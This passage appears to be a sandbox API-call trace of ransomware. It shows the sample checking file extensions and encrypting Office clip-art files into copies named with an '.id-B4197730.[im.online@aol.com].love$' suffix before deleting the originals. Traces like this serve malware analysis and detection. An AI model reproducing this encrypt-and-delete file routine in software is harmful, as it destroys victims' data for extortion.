(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.304] lstrlenW (lpString=".jpg") returned 4 [0120.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.304] lstrlenW (lpString=".doc") returned 4 [0120.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.304] lstrlenW (lpString=".docx") returned 5 [0120.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.304] lstrlenW (lpString=".pdf") returned 4 [0120.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.304] lstrlenW (lpString=".xls") returned 4 [0120.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.304] lstrlenW (lpString=".xlsx") returned 5 [0120.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.304] lstrlenW (lpString=".ppt") returned 4 [0120.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.304] lstrlenW (lpString=".zip") returned 4 [0120.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.305] lstrlenW (lpString=".rar") returned 4 [0120.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.305] lstrlenW (lpString=".bz2") returned 4 [0120.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.305] lstrlenW (lpString=".7z") returned 3 [0120.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.305] lstrlenW (lpString=".dbf") returned 4 [0120.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.305] lstrlenW (lpString=".1cd") returned 4 [0120.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0120.305] lstrlenW (lpString=".jpg") returned 4 [0120.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.305] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.306] lstrlenW (lpString="AN01060_.WMF") returned 12 [0120.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.306] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7968) returned 1 [0120.306] CloseHandle (hObject=0x380) returned 1 [0120.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0120.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.306] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.307] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.307] GetLastError () returned 0x0 [0120.307] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0120.309] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0120.310] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.310] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.311] SetEndOfFile (hFile=0x354) returned 1 [0120.311] CloseHandle (hObject=0x354) returned 1 [0120.312] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.312] SetEndOfFile (hFile=0x380) returned 1 [0120.313] CloseHandle (hObject=0x380) returned 1 [0120.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0120.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.314] lstrlenW (lpString=".doc") returned 4 [0120.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.314] lstrlenW (lpString=".docx") returned 5 [0120.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.314] lstrlenW (lpString=".pdf") returned 4 [0120.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.314] lstrlenW (lpString=".xls") returned 4 [0120.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.314] lstrlenW (lpString=".xlsx") returned 5 [0120.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.314] lstrlenW (lpString=".ppt") returned 4 [0120.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.314] lstrlenW (lpString=".zip") returned 4 [0120.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.314] lstrlenW (lpString=".rar") returned 4 [0120.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.314] lstrlenW (lpString=".bz2") returned 4 [0120.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString=".7z") returned 3 [0120.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString=".dbf") returned 4 [0120.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString=".1cd") returned 4 [0120.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString=".jpg") returned 4 [0120.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString=".doc") returned 4 [0120.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString=".docx") returned 5 [0120.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.315] lstrlenW (lpString=".pdf") returned 4 [0120.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString=".xls") returned 4 [0120.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.315] lstrlenW (lpString=".xlsx") returned 5 [0120.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.315] lstrlenW (lpString=".ppt") returned 4 [0120.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.315] lstrlenW (lpString=".zip") returned 4 [0120.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.315] lstrlenW (lpString=".rar") returned 4 [0120.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.316] lstrlenW (lpString=".bz2") returned 4 [0120.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.316] lstrlenW (lpString=".7z") returned 3 [0120.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.316] lstrlenW (lpString=".dbf") returned 4 [0120.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.316] lstrlenW (lpString=".1cd") returned 4 [0120.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0120.316] lstrlenW (lpString=".jpg") returned 4 [0120.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.316] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.316] lstrlenW (lpString="AN01084_.WMF") returned 12 [0120.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.317] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1832) returned 1 [0120.317] CloseHandle (hObject=0x380) returned 1 [0120.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0120.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.317] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.317] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.318] GetLastError () returned 0x0 [0120.318] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x728, lpOverlapped=0x0) returned 1 [0120.320] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x730, lpOverlapped=0x0) returned 1 [0120.321] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.321] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.321] SetEndOfFile (hFile=0x354) returned 1 [0120.321] CloseHandle (hObject=0x354) returned 1 [0120.323] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.323] SetEndOfFile (hFile=0x380) returned 1 [0120.324] CloseHandle (hObject=0x380) returned 1 [0120.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.325] lstrlenW (lpString=".doc") returned 4 [0120.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString=".docx") returned 5 [0120.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.325] lstrlenW (lpString=".pdf") returned 4 [0120.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString=".xls") returned 4 [0120.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.325] lstrlenW (lpString=".xlsx") returned 5 [0120.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.325] lstrlenW (lpString=".ppt") returned 4 [0120.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.325] lstrlenW (lpString=".zip") returned 4 [0120.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.325] lstrlenW (lpString=".rar") returned 4 [0120.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString=".bz2") returned 4 [0120.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString=".7z") returned 3 [0120.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.325] lstrlenW (lpString=".dbf") returned 4 [0120.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.325] lstrlenW (lpString=".1cd") returned 4 [0120.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.326] lstrlenW (lpString=".jpg") returned 4 [0120.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.326] lstrlenW (lpString=".doc") returned 4 [0120.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString=".docx") returned 5 [0120.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.326] lstrlenW (lpString=".pdf") returned 4 [0120.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString=".xls") returned 4 [0120.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.326] lstrlenW (lpString=".xlsx") returned 5 [0120.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.326] lstrlenW (lpString=".ppt") returned 4 [0120.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.326] lstrlenW (lpString=".zip") returned 4 [0120.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.326] lstrlenW (lpString=".rar") returned 4 [0120.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString=".bz2") returned 4 [0120.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.326] lstrlenW (lpString=".7z") returned 3 [0120.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.326] lstrlenW (lpString=".dbf") returned 4 [0120.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.327] lstrlenW (lpString=".1cd") returned 4 [0120.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0120.327] lstrlenW (lpString=".jpg") returned 4 [0120.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.327] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.327] lstrlenW (lpString="AN01173_.WMF") returned 12 [0120.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.348] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=26332) returned 1 [0120.348] CloseHandle (hObject=0x380) returned 1 [0120.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0120.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0120.359] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.370] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0120.371] GetLastError () returned 0x0 [0120.371] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0120.374] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0120.375] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.376] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.376] SetEndOfFile (hFile=0x354) returned 1 [0120.376] CloseHandle (hObject=0x354) returned 1 [0120.380] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.380] SetEndOfFile (hFile=0x380) returned 1 [0120.381] CloseHandle (hObject=0x380) returned 1 [0120.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0120.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.382] lstrlenW (lpString=".doc") returned 4 [0120.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.382] lstrlenW (lpString=".docx") returned 5 [0120.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.382] lstrlenW (lpString=".pdf") returned 4 [0120.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.382] lstrlenW (lpString=".xls") returned 4 [0120.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.382] lstrlenW (lpString=".xlsx") returned 5 [0120.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.382] lstrlenW (lpString=".ppt") returned 4 [0120.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.382] lstrlenW (lpString=".zip") returned 4 [0120.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.382] lstrlenW (lpString=".rar") returned 4 [0120.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString=".bz2") returned 4 [0120.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString=".7z") returned 3 [0120.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString=".dbf") returned 4 [0120.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString=".1cd") returned 4 [0120.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString=".jpg") returned 4 [0120.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0120.383] lstrlenW (lpString=".doc") returned 4 [0120.383] 